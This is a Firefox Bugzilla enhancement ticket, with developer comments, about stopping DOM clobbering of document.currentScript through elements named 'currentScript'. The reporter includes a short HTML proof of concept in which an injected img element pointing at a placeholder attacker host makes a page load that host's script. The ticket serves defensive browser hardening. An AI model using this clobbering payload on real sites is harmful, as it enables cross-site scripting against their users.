Prevent document.currentScript from being overwritten via a DOM element with name='currentScript'
Categories
(Core :: DOM: Core & HTML, enhancement)
Tracking
()
| Tracking | Status | |
|---|---|---|
| firefox133 | --- | affected |
People
(Reporter: jujjyl, Unassigned)
Details
Attachments
(1 file)
There is a relatively common source of CVEs that is being reported, e.g.
https://vulert.com/vuln-db/CVE-2024-45389
https://github.com/advisories/GHSA-gcx4-mw62-g8wm
https://nvd.nist.gov/vuln/detail/CVE-2024-45812
https://github.com/webpack/webpack/security/advisories/GHSA-4vvj-4cpr-p986
based on a "DOM clobbering" technique, where if an attacker can inject a DOM element with a name='currentScript' attribute, and the page happens to read document.currentScript.src to decide what URL to load a sibling JS file, then an attacker can elevate their attack threat vector from DOM clobbering to a XSS scripting attack.
I.e.
<html><body>
<img name='currentScript' src='http://bad.attacker.site.com/foo.js'>
<script>
var script = document.createElement('script');
var scriptDir = document.currentScript.src.substr(0, document.currentScript.src.lastIndexOf('/'));
script.src = `${scriptDir}/sibling.js`;
</script></body></html>
will undesirably load http://bad.attacker.site.com/sibling.js instead of /sibling.js from the same server that the HTML site is served at.
This is discussed in the WhatWG/HTML ticket at https://github.com/whatwg/html/issues/10687 where it is asked that browsers would blacklist the special name="currentScript" attribute from clobbering document.currentScript. A WPT test is added at https://github.com/web-platform-tests/wpt/pull/48536 .
Would Mozilla agree to enforce this security restriction and +1 the proposal at https://github.com/whatwg/html/issues/10687 ?
(this is a security problem, but not marking it hidden since there are already so many CVEs that have been reported and the issue is discussed in public)
|
||
Comment 1•13 days ago
|
||
Usually pages which can take some random html from untrusted source do sanitize the data. Otherwise using name attributes one can break the page is various ways.
Blocklisting one property would fix only one case, but other breakage would be still there.
|
Reporter | |
Comment 2•12 days ago
|
||
(In reply to Olli Pettay [:smaug][bugs@pettay.fi] from comment #1)
Usually pages which can take some random html from untrusted source do sanitize the data. Otherwise using name attributes one can break the page is various ways.
Blocklisting one property would fix only one case, but other breakage would be still there.
Replied to this comment at https://github.com/whatwg/html/issues/10687#issuecomment-2402434680 . In particular, in the CVEs that have been reported, there don't seem to be other breakages that lead to XSS scripting en masse, but it is just the document.currentScript name specifically that causes the mass of the security problems.
|
||
Comment 3•11 days ago
|
||
(In reply to Jukka Jylänki from comment #0)
There is a relatively common source of CVEs that is being reported, e.g.
Indeed, we've recently had to deal with it ourselves: https://www.mozilla.org/en-US/security/advisories/mfsa2024-33/#CVE-2024-7524
(In reply to Olli Pettay [:smaug][bugs@pettay.fi] from comment #1)
Blocklisting one property would fix only one case, but other breakage would be still there.
This is a particularly troublesome one. It would be a win to protect this one sooner, with less potential breakage, than to wait for a general solution that will have to deal with a whole lot of potential breakage. If an injection clobbers a document property that is a Function or DOMString it might break a page script, but it's unlikely to be able to substitute a useful malicious value. There are other document properties that could be usefully spoofed in addition to currentScript, and we could protect some of those, too, if we can do it without much additional breakage.
Yeah, this will be confusing to any web dev intentionally relying on clobbering document properties, if some names work and some don't. We should make it clear that we are deprecating the whole feature (wrt document) and any names that still work are living on borrowed time (even if that ends up being a decade). I doubt we could ever get rid of window property clobbering, unfortunately.
|
||
Comment 4•11 days ago
|
||
|
|
||
Comment 5•11 days ago
|
||
This patch is just a demonstration and doesn't necessarily mean we plan on implementing and shipping this.
|
||
Comment 6•11 days ago
|
||
I suspect that we will need to take care to still allow clobbering is still allowed in privileged code, as without it we won't be able to ship certain webcompat interventions, for instance (I'm sure tests also rely on it, and probably add-ons, too).
|
|
||
Comment 7•11 days ago
|
||
(In reply to Thomas Wisniewski [:twisniewski] from comment #6)
I suspect that we will need to take care to still allow clobbering is still allowed in privileged code, as without it we won't be able to ship certain webcompat interventions, for instance (I'm sure tests also rely on it, and probably add-ons, too).
Why would we rely on DOM clobbering in our compat code? We could just overwrite the property directly using e.g. Object.defineProperty. A quick searchfox search didn't reveal anything using id=currentScript or name=currentScript.
|
|
||
Comment 8•11 days ago
|
||
Ah, right. Clearly my brain was not fully booted up yet this morning when I wrote that comment.
Description
•